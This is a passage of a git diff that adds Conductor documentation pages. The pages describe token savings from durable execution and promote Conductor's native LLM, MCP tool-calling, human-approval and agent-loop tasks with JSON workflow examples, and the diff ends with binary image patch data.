Without durability | With Conductor | Savings | +|----------|-------------------|----------------|---------| +| 20-step agent, crash at step 18 | Re-run all 20 steps: ~40K tokens | Resume from step 18: ~4K tokens | **~36K tokens ($0.04-$0.40)** | +| RAG pipeline fails at PDF generation | Re-run embedding + LLM: ~12K tokens | Retry only PDF step: 0 LLM tokens | **~12K tokens ($0.01-$0.12)** | +| 100-iteration loop, crash at 95 | Re-run all 100: ~200K tokens | Resume from 95: ~10K tokens | **~190K tokens ($0.19-$1.90)** | +| Agent with human approval, reviewer slow | Process may timeout and restart | HUMAN task persists indefinitely | **All upstream tokens preserved** | + +These are per-execution savings. Multiply by thousands of daily executions and the cost difference becomes significant. + +At scale — thousands of agent executions per day — even a 5% crash/retry rate translates to substantial token waste without durability. With Conductor, that waste drops to near zero. + + +## Token savings beyond crashes + +Durable execution saves tokens in scenarios beyond crashes: + +**Long-running agents with human-in-the-loop.** A HUMAN task can pause a workflow for hours or days. Without durability, the process might timeout or be killed, requiring a full restart (and re-running all upstream LLM calls). With Conductor, the pause is durable — the workflow resumes exactly where it stopped, with all LLM outputs preserved. + +**Deployment and scaling.** When you deploy a new version of your workers or scale down instances, in-flight workflows survive. No LLM calls are lost. Without durability, scaling events can kill processes mid-execution, wasting all tokens consumed so far. + +**Debugging and iteration.** When debugging a failed agent, you can inspect every LLM prompt and response without re-running the agent. Rerun from a specific task to test a fix without re-executing (and re-paying for) upstream LLM calls. + + +## How it works mechanically + +Conductor persists LLM task outputs the same way it persists any task output: + +1. The `LLM_CHAT_COMPLETE` task is scheduled and a worker (or the server itself) executes it. +2. The LLM response is received — prompt, completion, token usage, model, and latency are all recorded. +3. The task moves to `COMPLETED` and its output is **written to durable storage** before the next task is scheduled. +4. If anything fails after this point, the LLM output is already persisted. It is never re-executed. + +This is the same persistence model that applies to every task in Conductor — the [durable execution semantics](../../architecture/durable-execution.md) guarantee that completed work is never lost. + + +## Comparison: durable vs non-durable frameworks + +| | Non-durable (LangChain, CrewAI, custom) | Durable (Conductor) | +|---|---|---| +| **Crash at step N of M** | Restart from step 1. All N tokens re-consumed. | Resume from step N. Zero tokens wasted. | +| **Retry after tool failure** | Re-run entire chain including LLM calls. | Retry only the failed task. LLM outputs preserved. | +| **Long pause (human review)** | Process may die. Full restart required. | Durable pause. Resume with all state intact. | +| **Debugging** | Re-run the agent to reproduce. More tokens. | Inspect persisted outputs. Rerun from any task. | +| **Deploy/scale** | In-flight work may be lost. | Workflows survive scaling events. | + +The bottom line: **durable execution is a cost optimization**, not just a reliability feature. Every crash, retry, pause, or debugging session that would re-execute LLM calls in a non-durable framework is free in Conductor — because the work was already persisted. + + +## Next steps + +- **[Durable Agents](durable-agents.md)** — What persists, what gets retried, and why JSON is AI-native. +- **[Durable Execution Semantics](../../architecture/durable-execution.md)** — The full persistence and recovery model. +- **[Build Your First AI Agent](first-ai-agent.md)** — Step-by-step tutorial with durable execution built in. +- **[LLM Orchestration](llm-orchestration.md)** — 14+ native LLM providers, vector databases, content generation. diff --git a/docs/devguide/ai/why-conductor.md b/docs/devguide/ai/why-conductor.md new file mode 100644 index 0000000..1ce1d0b --- /dev/null +++ b/docs/devguide/ai/why-conductor.md @@ -0,0 +1,324 @@ +--- +description: "Why Conductor for AI agents — native LLM tasks, MCP tool calling, deterministic JSON definitions, durable human-in-the-loop, and dynamic runtime execution. Show-don't-tell with code examples." +--- + +# Why Conductor for agents + +Conductor is the original durable workflow orchestration engine — born at Netflix to run microservices at internet scale, now powering AI agents with the same battle-tested execution model. Other engines give you generic primitives and say "build your agent infrastructure yourself." Conductor gives you the agent infrastructure. Here's what that looks like in practice. + + +## Call an LLM — zero boilerplate + +Other engines treat LLM calls as generic function calls. You build the abstraction: prompt construction, provider switching, response parsing, token tracking, retry logic. On Conductor, an LLM call is a system task: + +```json +{ + "name": "plan_action", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "system", "message": "You are a planning agent. Tools: ${tools.output}"}, + {"role": "user", "message": "${workflow.input.goal}"} + ], + "temperature": 0.1, + "maxTokens": 1000 + } +} +``` + +That's it. No SDK wrapper, no worker code, no retry logic. Conductor executes it, persists the prompt, response, token usage, model, and latency. Switch providers by changing `llmProvider` — from `anthropic` to `openai` to `bedrock` — with zero code changes. 14+ providers supported natively. + +On other engines, this same task requires: + +- A worker/activity function that constructs the HTTP request +- Provider-specific SDK initialization and auth +- Response parsing and error handling +- Custom logging for prompt/response/token tracking +- Retry configuration in your code, not the orchestrator + +Every team builds this differently. Every implementation has different bugs. + + +## Discover and call tools — native MCP + +MCP (Model Context Protocol) is the open standard for agent tool use. On Conductor, tool discovery and execution are system tasks: + +```json +[ + { + "name": "discover", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + }, + { + "name": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + } +] +``` + +The agent discovers tools at runtime, the LLM picks the right one, and Conductor executes it with automatic retry, timeout, and full audit trail. Connect to any MCP server — GitHub, Slack, databases, custom APIs — with no wrapper code. + +On other engines, you write a "Durable MCP" wrapper: a custom activity/worker that connects to the MCP server, marshals requests, handles errors, and logs results. For every MCP server. For every tool type. + + +## Human-in-the-loop — one line, durable forever + +An agent needs human approval before a risky action. On Conductor: + +```json +{ + "name": "approval_gate", + "type": "HUMAN", + "inputParameters": { + "action": "${plan.output.result.action}", + "reasoning": "${plan.output.result.reasoning}" + } +} +``` + +The workflow pauses. The pause survives server restarts, deploys, infrastructure changes — indefinitely. When someone approves via the API or UI, the workflow resumes with the approval payload. No polling, no timer hacks, no external state. + +On other engines, you implement `wait_condition()` with signal handlers, write the signal routing code, and build the approval UI integration yourself. The pause mechanism is in your workflow code, not in the platform. + + +## Agent loops — checkpointed per iteration + +An autonomous agent loops: plan, act, observe, repeat. On Conductor, each iteration is a durable checkpoint: + +```json +{ + "name": "agent_loop", + "type": "DO_WHILE", + "loopCondition": "if ($.loop['think'].output.result.done == true) { false; } else if ($.loop['think'].output.iteration >= 20) { false; } else { true; }", + "loopOver": [ + { + "name": "think", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "system", "message": "Goal: ${workflow.input.goal}. Previous results: ${workflow.variables.context}. Respond with {action, arguments, done}."} + ] + } + }, + { + "name": "act", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${think.output.result.action}", + "arguments": "${think.output.result.arguments}" + } + }, + { + "name": "remember", + "type": "SET_VARIABLE", + "inputParameters": { + "context": "${workflow.variables.context.concat([{action: think.output.result.action, result: act.output.content}])}" + } + } + ] +} +``` + +If the agent crashes at iteration 18 of 20, it resumes from iteration 18. Not from scratch. The 17 completed LLM calls and tool executions are already persisted — zero tokens wasted, zero duplicate side effects. The loop condition enforces an iteration cap so the agent can't run forever. + +On other engines, you build the loop in your workflow code. If the process crashes, you either restart from the beginning (burning all tokens again) or build your own checkpointing mechanism. + + +## Dynamic workflows — LLMs generate execution plans + +This is the capability no other engine can match. An LLM generates a complete workflow definition as JSON, and Conductor executes it immediately: + +```json +{ + "name": "execute_agent_plan", + "type": "START_WORKFLOW", + "inputParameters": { + "startWorkflow": { + "workflowDefinition": "${planner_llm.output.result}", + "input": "${workflow.input.taskInput}" + } + } +} +``` + +The LLM's output is a Conductor workflow definition. No code generation. No compilation. No deployment pipeline. The generated workflow runs with the same durable execution guarantees as any hand-written workflow — persistence, retries, observability, replay. + +Combined with `DYNAMIC` tasks (resolve which task to run at runtime) and `DYNAMIC_FORK` (create N parallel branches at runtime), Conductor is more dynamic than code-based engines. Not despite using JSON — because of it. Data is easier to generate, transform, and compose than code. + +On code-based engines, dynamic workflows require generating source code, compiling it, deploying it, and then executing it. That friction fundamentally limits how dynamically an AI system can operate. + + +## RAG pipelines — native vector database support + +Retrieval-augmented generation as two system tasks, no external framework: + +```json +[ + { + "name": "search", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "kb", + "index": "articles", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "query": "${workflow.input.question}" + } + }, + { + "name": "answer", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "system", "message": "Answer based on: ${search.output.result}"}, + {"role": "user", "message": "${workflow.input.question}"} + ] + } + } +] +``` + +Pinecone, pgvector, and MongoDB Atlas are supported natively. No LangChain, no custom retrieval workers, no framework dependencies. + + +## Multi-agent delegation — sub-workflows with lifecycle + +A parent agent delegates to specialist agents. Each specialist is a sub-workflow with full lifecycle management: + +```json +{ + "name": "parallel_research", + "type": "DYNAMIC_FORK", + "inputParameters": { + "dynamicTasks": "${planner.output.result.research_tasks}", + "dynamicTasksInput": "${planner.output.result.task_inputs}" + }, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput" +} +``` + +The LLM decides how many research agents to spawn and what each one investigates. Conductor creates the branches at runtime, runs them in parallel, and joins the results. If one branch fails, it retries independently without affecting the others. The parent agent sees the full execution tree — drill from parent to child to sub-child in the UI. + + +## Long-running workflows — evolve without breaking + +An agent workflow runs for days. Midway through, you need to fix a bug or add a step. On code-based engines, this is where things get painful — you end up littering your workflow code with version guards and `if/else` branches to keep old executions replaying correctly while new ones pick up the change. Every change adds a permanent branch that can never be removed. After a year of iteration, the workflow is an archaeology site of version checks. + +Conductor eliminates this entirely. Each execution snapshots its definition at start time: + +```json +{ + "name": "agent_workflow", + "version": 2, + "tasks": [ + {"name": "plan", "type": "LLM_CHAT_COMPLETE", "...": "..."}, + {"name": "validate", "type": "INLINE", "...": "..."}, + {"name": "execute", "type": "CALL_MCP_TOOL", "...": "..."} + ] +} +``` + +Running executions continue with their original definition. New executions pick up the updated definition. No version guards. No branching. No archaeology. Update the definition, register it, and move on. If you need to apply the new definition to a running execution, [restart it](../../architecture/durable-execution.md#replay-and-recovery) — Conductor re-executes the workflow with the latest definition from the beginning. + +This is not a minor convenience. For AI agents that run for hours or days — iterating through plan/act/observe loops, waiting for human approvals, pausing for external events — the ability to evolve the workflow definition without version branching is the difference between a maintainable system and a fragile one. + + +## Guaranteed execution — failure is not a choice + +Conductor was built as a state machine engine at Netflix to orchestrate microservices at internet scale. The execution model is designed around one principle: **every task will be executed to completion, or every failure will be explicitly handled.** There is no silent failure mode. + +The guarantees: + +- **At-least-once task delivery** — Every task is persisted to durable storage before execution. If a worker crashes, the task is automatically requeued and delivered to another worker. Tasks do not disappear. +- **Sweeper recovery** — A background sweeper service continuously scans for stalled tasks. If a task is `IN_PROGRESS` but its worker has gone silent (no heartbeat, past `responseTimeoutSeconds`), the sweeper requeues it. If the Conductor server itself restarts, the sweeper recovers all in-flight work on startup. +- **Configurable retry policies** — Every task has retry count, delay, and backoff strategy. Retries are managed by the engine, not your code. Exponential backoff, fixed delay, and linear backoff are built in. +- **Failure workflows** — When a workflow fails after exhausting retries, a `failureWorkflow` runs automatically. This is where you put compensation logic: undo API calls, release resources, send alerts. The failure workflow has the full context of what failed and why. +- **Terminal state is always reached** — A workflow always reaches `COMPLETED`, `FAILED`, or `TERMINATED`. There is no limbo state. You can query, alert, and act on any terminal state. + +```json +{ + "name": "critical_agent", + "failureWorkflow": "agent_failure_handler", + "tasks": [ + { + "name": "risky_action", + "type": "CALL_MCP_TOOL", + "retryCount": 5, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 10, + "responseTimeoutSeconds": 30, + "timeoutPolicy": "RETRY" + } + ] +} +``` + +This task retries 5 times with exponential backoff (10s, 20s, 40s, 80s, 160s). If the worker doesn't respond within 30 seconds, the task is timed out and retried. If all retries are exhausted, the workflow fails and `agent_failure_handler` runs with full context. At no point does the task silently disappear. + +These guarantees apply uniformly across the entire workflow graph — including sub-workflows, dynamic forks, and agent loops. You configure them declaratively in the definition. The engine enforces them. + + +## Deterministic by construction + +JSON workflow definitions cannot have side effects. There is no ambient state, no thread-local context, no hidden mutation. Given the same inputs, a Conductor workflow schedules the same tasks in the same order, every time. This is why [replay](../../architecture/durable-execution.md#replay-and-recovery) works unconditionally — restart a workflow from three months ago and it re-executes the same graph. + +When workflow logic lives in code, developers must manually enforce determinism constraints: no system clocks, no random numbers, no uncontrolled I/O. Violating these constraints causes subtle replay bugs that are hard to detect and harder to debug. Conductor eliminates this entire class of bugs by construction — JSON cannot have side effects. + + +## Observability — automatic, not opt-in + +Every `LLM_CHAT_COMPLETE` task automatically records: + +- The full prompt (every message in the conversation) +- The complete response +- Token usage (prompt tokens, completion tokens, total) +- Model and provider +- Latency +- Retry history (if any) + +Every `CALL_MCP_TOOL` task records the method, arguments, response, and timing. Every `HUMAN` task records who approved, when, and with what payload. All of this is queryable via API and visible in the UI. + +On other engines, you build this logging yourself. Every team does it differently, with different coverage and different gaps. + + +## The agent use case matrix + +Every agentic pattern maps to a specific Conductor primitive: + +| Use case | Conductor pattern | +|---|---| +| **Tool-calling agent** | `LLM_CHAT_COMPLETE` + `CALL_MCP_TOOL` | +| **Approval-gated actions** | `HUMAN` task + `SWITCH` for timeout | +| **Planner/executor loop** | `DO_WHILE` + `SET_VARIABLE` | +| **Multi-agent delegation** | `SUB_WORKFLOW` or `DYNAMIC_FORK` | +| **Long wait for external system** | `HUMAN` or `WAIT` task | +| **High fan-out research** | `DYNAMIC_FORK` + `JOIN` | +| **RAG pipeline** | `LLM_SEARCH_INDEX` + `LLM_CHAT_COMPLETE` | +| **Content generation** | `GENERATE_IMAGE` / `GENERATE_AUDIO` / `GENERATE_VIDEO` / `GENERATE_PDF` | +| **Agent that builds its own plan** | `LLM_CHAT_COMPLETE` + `START_WORKFLOW` with inline definition | +| **Deterministic post-processing** | `INLINE` (JavaScript) or `JSON_JQ_TRANSFORM` | + + +## Next steps + +- **[Production Agent Architecture](production-agent-architecture.md)** — The canonical end-to-end agent pattern, fully wired. +- **[Failure Semantics for AI Agents](failure-semantics.md)** — The exact failure contract under every scenario. +- **[Build Your First AI Agent](first-ai-agent.md)** — From zero to a running agent in 5 minutes. +- **[Token Efficiency](token-efficiency.md)** — How durable execution saves tokens and reduces LLM costs. diff --git a/docs/devguide/architecture/PollTimeoutSeconds.png b/docs/devguide/architecture/PollTimeoutSeconds.png new file mode 100644 index 0000000000000000000000000000000000000000..35bd3227390e290fb344f16c0682b654a47c0d5d GIT binary patch literal 76891 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∋93#9n~7nBWfT)z#!E4FGNji#|3z3@!3eC#9B2X6*sS;m{f45V^N zu!*Jf;&y1oOxH=XhExFyV*bP~|0V+{HS;*l#xt;5z$^1V&QfczziPP3Y5xyWOJQpyqDIUG!{6dcV!!b=29T^-SRW3A3) zqadJCu7m~fS5d0Q^IiYZW#aFLN+0V1rbP1ZGC+xe z98n0yb2s_fvsx`6_JktTzJeS;{&$x|JE=tvul6Ro@QToB72>hQt}0gFt3x@+Fv*j7 zm}ndxqy5R;sa|R}k@rmJ{NO#)G0ju~7@GpwMDW59bzzX30^i3L3A*>|r;m~&i8tFw z0c1xJfL7=2=(Xg9LH%umSyrB1sOh^q0 z%xv|KGsP~zL#q_ek#|QvqLE(7zM*c+&-{0MT3n zJYfp$OjL*ml5+Ly{ZmwD@LwbVUn&UoEc5<-O^QUOVmmuKrnQ7eAm46<^d?&FsNwT@ z1Y^)k@%05nMEMf%M0P7pk|~r-$mFt=>&uIaL)Gl;?3aIm2z0<=(phUh(fLYw9DVn? z^MZWx^=&WPtI79-`gEl|TBTTtL^lLhGJ%}V#@04Jvz)*PaUhY@QmGeU!$iKmbxZ)_ 